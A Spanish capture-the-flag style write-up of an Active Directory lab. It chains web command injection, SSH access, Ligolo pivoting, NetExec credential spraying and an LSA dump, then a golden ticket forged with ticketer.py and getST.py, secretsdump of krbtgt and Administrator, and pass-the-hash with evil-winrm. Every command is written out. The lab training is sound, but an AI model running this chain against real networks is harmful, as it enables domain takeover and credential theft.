Descripción

Este laboratorio CRTA de CyberwarfareLabs trata sobre un entorno empresarial centrado en Active Directory. Empezamos con reconocimiento y enumeración, localizamos malas configuraciones y vulnerabilidades en AD que permitieron un acceso inicial. A partir de ahí realizamos movimiento lateral y escalada de privilegios hasta obtener control relevante del dominio.

Plataforma: CyberWarFare

Dirección IP: 192.168.80.10

Sistema operativo: Linux, Windows

Dificultad: Media

Técnicas Vistas:

  • Web Enumeration
  • OS command injection
  • LFI (Local File Inclusion)
  • Information Leakage
  • Gaining SSH access from LFI
  • Obtain clear text credentials stored in Firefox database (bookmarkz) [Lateral Movement]
  • Pivoting with Ligolo
  • Credential Spraying (NetExec)
  • LSA Dump (NetExec)
  • Forging a Golden Ticket (AES Hash, Domain SID (Child) and Extra Domain SID (Parent) [ticketer.py && getST.py]
  • Secretsdump.py - Dumping the hash for Administrator user (Using the DRSUAPI method) [Privilege Escalation]
  • PassTheHash (evil-winrm)

Like: Active Directory, OSCP, eCPPTv3

Arquitectura del laboratorio

Lab Arquitecture.png

IP de la Maquina

VPN: 10.10.200.19 (IP que me asigno la VPN)

Rango de IP externa 192.168.80.0/24, fuera del scope 192.168.80.1

Rango de IP Interna 192.168.98.0/24, fuera del scope 192.168.98.1

scope-of-enagagement.png

Reconocimiento

Buscamos que hosts están activos en la red, ya que desconocemos la IPde la maquina victima.

1
nmap -sn 192.168.80.0/24

scope.png

Vemos que nos muestra sola una ip, ese seria nuestro target.

Comprobando conectividad con la maquina

1
ping -c1 192.168.80.10

ping.png

Identificando el sistema operativo

1
whichSystem.py 192.168.80.10

whichSystem.png

Enumeración

Escaneo inicial de los puertos

1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.80.10 -oG scanP

scanP.png

Detectando las versiones y los servicios que corren para esos puertos

1
nmap -sCV -p22,80 -oN scanS 192.168.80.10

scanS.png

Vemos que solo hay 2 puertos abiertos uno es SSH pero no tenemos credenciales, y el otro es el 80 el cual vamos a inspeccionar, ya que hay una web.

Visitamos la url

web.png

Nos encontramos esta web que parecer ser una tienda. Después de probar, algunas credenciales por defecto no hay suerte. Pero vemos que se puede crear una cuenta, así que nos creamos una.

Una vez creada la cuenta y dentro de la web se ve asi

web2.png

Decido inspeccionar el Código fuente para ver si encuentro algo interesante.

web3POST.png

En la cual me encuentro este campo empleando un método POST en el cual se envía un correo.

Decido interceptar la petición con Burpsuite para hacer mas pruebas

BurpPost.png

Como ya lo vimos, lo que esta en el campo EMAIL es lo que se envía por POST.

Explotación

Luego de probar varios ataques sin éxito, descubro que es vulnerable a OS command injection.

OSCommandExecution.png

Como observamos nos devuelve el id del usuario. Ya tenemos una via potencial.

Decido probar leer archivos de configuración que suelen revisarse como el passwd y filtrar por aquellos usuarios que tienen una shell

LFI.png

Observamos lo que parece ser una contraseña para el usuario privilege. Recordemos que tenemos el puerto 22 abierto y tenemos posibles credenciales de acceso.

Probamos las credenciales via SSH y vemos que obtenemos acceso con éxito.

SSH.png

Una vez ganamos acceso tenemos que buscar la manera de escalar privilegios.

Escalada de Privilegios

Probamos enumeraciones comunes dentro de un sistema Linux para elevar nuestros privilegios.

Uno de los primeros que suelo usar es el siguiente:

1
sudo -l

sudo -l.png

Vemos que estamos dentro del grupo de super usuarios lo que quiere decir que al colocar la contraseña del usuario nos dará acceso como root.

root.png

Y en efecto vemos que obtuvimos acceso como root.

Bien ahora vamos a enumerar el sistema buscando archivos de configuración, o programas instalados en el sistema, para tratar de encontrar credenciales o algo que nos permita saltar a la red interna donde se encuentra el DC.

Decido usar Linpeas para enumerar el sistema de forma automática y para ahorrar tiempo.

Luego de revisar la salida de Linpeas, veo archivos .sqlite interesantes en la carpeta home del usuario privilige, así que decido darles un ojo.

sqlite.png

Eran varios archivos los cuales revise con sqlite y logre obtener unas credenciales de uno de ellos, el cual fue places.sqlite.

Extraemos la info de places.sqlite en la cual en la tabla moz_bookmarks estaba lo interesante.

ADcreds.png

Al extraer la info, vemos que se ingreso a una web en una ip, con unas credenciales.

Tenemos otras credenciales y también una ip que vemos que pertenece al rango de IPs de la red interna.

Muy bien antes de poder revisar el rango de la red interna debemos tener acceso, ya que desde nuestra maquina no tenemos visibilidad con esa red.

Pivoting

Vamos a usar una técnica que se le conoce como pivoting en la cual vamos a tunelizar todo el trafico de la red interna para que use la maquina comprometida como puente y poder tener visibilidad con con esta.

Vamos a usar Ligolo para esta ocasión, lo primero es descargar los binarios correspondientes a nuestro OS desde los releases, los cuales son un agente y un proxy.

Una vez descargados, para identificarlos mejor decido renombrarlos

ligolo.png

Ahora hay que transferir el agent a la maquina víctima, para esto usare un servidor con python y lo descargamos desde la maquina víctima con wget.

upload_agent.png

Una vez transferido le damos permisos de ejecución al agent en la maquina víctima, y continuamos la configuración en nuestra maquina de atacante.

Comenzamos a configurar Ligolo, lo primero que haremos es crear una nueva interfaz de red

1
2
#Generamos la interfaz de red para el tuneling
sudo ip tuntap add user ewor01 mode tun ligolo

interface_ligolo.png

Borramos el rango de ip que vamos a tunelizar de la interfaz en la que este para poder usarla en Ligolo

1
sudo ip route del 192.168.98.0/24 dev tun2

del_tun2.png

Vemos que es borrada con éxito.

Levantamos la interfaz creada

1
sudo ip link set ligolo up

ligolo_up.png

Agregamos el rango de ip que vamos a tunelizar en Ligolo

1
sudo ip route add 192.168.98.0/24 dev ligolo

ligolo_route.png

Una vez agregada comprobamos que el rango de ip ya esta en la ruta con ip route show, y observamos que ya esta listo.

Ahora Ejecutamos el proxy desde nuestra maquina atacante

1
sudo ./lin-proxy -selfcert -laddr 0.0.0.0:443

ligolo_proxy.png

1
./lin-agent -connect 10.10.200.19:443 -ignore-cert

Ahora ejecutamos el agente en la maquina victima

ligolo_agent_connected.png

Después identificamos la session y le damos enter

1
session

Iniciamos el tunel

1
start

Luego revisamos que se estableció la conexión entre las 2 maquinas desde Ligolo

1
tunnel_list

tunnel_complete.png

Ahora ya esta listo, ya deberíamos poder acceder a la red interna.

Hacemos una prueba buscando los Hosts activos en la red interna

1
nmap -sn -oN scope2

scope2.png

En efecto vemos que nos descubre 4 hosts, los cuales vamos a filtrar y a quedarnos únicamente con las IPs.

ips.png

Listo con esta regex nos quedamos únicamente con las IPs y descartamos la que finaliza en 15 ya que pertenece a la maquina que ya comprometimos.

ips_sponge.png

Ahora queda listo nuestro archivo de IPs.

Active Directory Attacks

Ahora en este punto realizaremos ataques sobre el DC.

Primero enumeramos que hay en esas Ips de la siguiente manera

1
nxc smb ips

nxc_enum.png

Ya obtenemos un poco de info acerca de las maquinas, como los nombres, dominio, y versiones de los OS. Recordemos que debemos agregar los dominios al etc/hosts, esto nos sirve para emplear algunos ataques al DC.

etc_hosts.png

Luego debido a que obtuvimos unas credenciales que hacen referencia a la ip que finaliza en 30, suponemos que pertenecen a esa maquina, pero para probar en todas realizaremos un Credential Spraying sobre las 3 IPs

1
nxc smb ips -u 'john' -p 'User1@#$%6'

nxc_valid_creds.png

Observamos que son validas para la IP que finaliza en 30 y nos coloca Pwn3d! lo que indica que tenemos privilegios de Administrador Local sobre la maquina MGMT.

Ahora Vamos a dumpear LSA para ver si logramos extraer alguna otra credencial que pueda servirnos en otra maquina.

1
nxc smb 192.168.98.30 -u 'john' -p 'User1@#$%6' --lsa

lsa_dump.png

Logramos obtener otra credencial en texto claro.

Ahora haremos otro Credential Spraying con las nuevas credenciales del usuario corpmngr

1
nxc smb ips -u 'corpmngr' -p 'User4&*&*'

secon_dc.png

Vemos que tenemos permisos de Administrador local en la maquina CDC el cual es el Child Domain (DC Secundario).

Vamos a realizar un ataque llamado Golden Ticket para comprometer el DC Principal.

Para emplear este ataque necesitamos 3 cosas:

1- Hash aes256 de la cuenta krbtgt

2- SID del DC secundario (Child Domain)

3- SID del DC principal (Parent Domain)

Ahora vamos a extraer el hash de la cuenta krbtgt con impacket-secretsdump

1
secretsdump.py -debug child.warfare.corp/corpmngr:'User4&*&*'@192.168.98.120 -just-dc-user 'child\krbtgt'

krbtgt_hash_aes.png

Guardamos el hash aes256 en un archivo.

Ahora procedemos con la extracción de los SID de ambos DC

1
2
#DC Secundario
lookupsid.py child/corpmngr:'User4&*&*'@192.168.98.120

lookupsid_Child_DC.png

1
2
#DC Principal
lookupsid.py child/corpmngr:'User4&*&*'@192.168.98.2

lookupsid_Parent_DC.png

Ahora generamos el golden ticket usando las 3 cosas que obtuvimos las cuales son:

3_requirements.png

Ahora usamos la herramienta ticketer.py para Solicitar un TGT (Ticket Granting Ticket) y nos genere un archivo de cache el cual posteriormente usaremos para solicitar un TGS (Ticket Granting Service)

1
2
3
4
5
6
7
ticketer.py -domain child.warfare.corp -aesKey
ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 -domain-sid
S-1-5-21-3754860944-83624914-1883974761 -groups 516 -user-id 1106 -extra-sid
S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 'corpmngr'

#-groups es el ID del grupo al que el usuario pertenece
#-user-id es el ID de el usuario

sid_type_user_and_group.png

ticketer.png

Exportamos la variable de entorno KRB5CCNAME para cargar el Golden ticket

1
export KRB5CCNAME=corpmngr.ccache

KRB5CCNAME.png

Esta variable de entorno nos va a servir para que todas las herramientas Kerberos usen el ticket que creamos y almacenamos en esa variable.

Solicitamos un TGS para el (SPN) servicio CIFS del DC Principal usando el archivo de cache con getST.py

1
getST.py -spn 'CIFS/dc01.warfare.corp' -k -no-pass child.warfare.corp/corpmngr -debug

getSP.png

Esto usa el TGT cargado para solicitar un ticket de servicio (TGS) válido para CIFS del DC principal.

Ahora exportamos la variable de entorno nuevamente

1
export KRB5CCNAME=corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache

KRB5CCNAME_DC_P.png

Ahora ya todo esta listo con ese TGS nuevo, ahora podemos usar secretsdump.py para conectarnos al DC principal y extraer el hash del usuario Administrador del Dominio.

1
secretsdump.py -k -no-pass dc01.warfare.corp -just-dc-user 'warfare\Administrator' -debug

SecretsDump_Golden_Complete.png

Con esto tenemos el hash del usuario Administrador del dominio y ya podemos hacer lo que queramos.

Pero antes validamos el hash con NetExec:

1
nxc smb 192.168.198.2 -u 'Administrator' -H 'hashdelusuarioperron'

DC_pwn3d.png

Como observamos nos coloca Pwn3d! lo que significa que podemos acceder como Domain Admin.

Ahora accedemos al DC Principal usando una técnica llamada Pass The Hash, la cual consiste en que usemos el hash NT de un usuario para acceder aunque no sepamos su contraseña.

Verficamos si podemos conectarnos por el Servicio de administración remota de windows WINRM:

1
nxc winrm 192.168.198.2 -u 'Administrator' -H 'hashdelusuarioperron'

winrm_pwn3d.png

Ahora usaremos una herramienta llamada evil-winrm para conectarnos al DC:

1
evil-winrm -i 192.168.98.2 -u 'Administrator' -H 'hashdelusuarioperron'

DC_pwn3d_ALL.png

Como vemos nos conectamos con éxito, y somos Domain Admin del DC.

¡Gracias por leer hasta aquí! Espero que este writeup te haya sido útil para comprender como se ataca una red interna desde una externa, como emplear un Golden Ticket Attack y por supuesto a resolver este laboratorio. ¡Nos vemos en el próximo writeup, y Happy Hacking =)!